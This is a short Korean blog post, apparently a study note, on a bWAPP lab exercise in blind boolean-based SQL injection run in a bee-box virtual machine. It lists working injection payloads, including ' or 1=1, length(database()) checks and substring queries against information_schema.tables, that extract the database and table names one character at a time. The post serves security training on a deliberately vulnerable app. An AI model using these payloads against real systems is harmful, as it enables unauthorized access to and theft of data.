Web hacking

owasp 실습(bwapp) -1 (SQL injection blind boolean based)

taktaks 2020. 12. 8. 10:07

vmware로

open virtualmachine

bee-box 

 

 

SQL injection blind booolean based

 

 

 

 

 

------------------(참/거짓반응)

 

 

 

' or 1=1

 

 

 

 

(거짓 반응)

 

 

 

 

 

 

 

 

 

 

 

 

 

1. 현재 접속중인 db의 글자수와 첫번째 문자

 

 

 

 

 

' or 1=1 and length(database())=5#

 

(and 전까지 참 그뒤를 참으로 만들어버리는것이다.)

 

 

 

 

 

 

'or '1'='1' and substring(database(),1,1) > 'a'#

(소문자인지 대문자인지 소문자가 아스키코드가 더크다.)

 

 

 

 

 

'or '1'='1' and substring(database(),1,1) > 'f'#

 

답은 '`b'

 

 

' or 1=1 and substring(database(),1,1)='b'#

' or 1=1 and substring((select database()),1,1)='b'#

 

 

 

 

 

 

 

 

2. 현재 접속중인  db의 세번쨰 테이블명의 세번쨰 문자

 

 

 

                                              

 

' or '1'='1' and substring((select table_name from information_schema.tables where table_schema=database() limit 2,1),3,1) >'a'#

 

이런식으로 계속 하면된다

그러면 답은.

 

' or '1'='1' and substring((select table_name from information_schema.tables where table_schema=database() limit 2,1),3,1)='v'#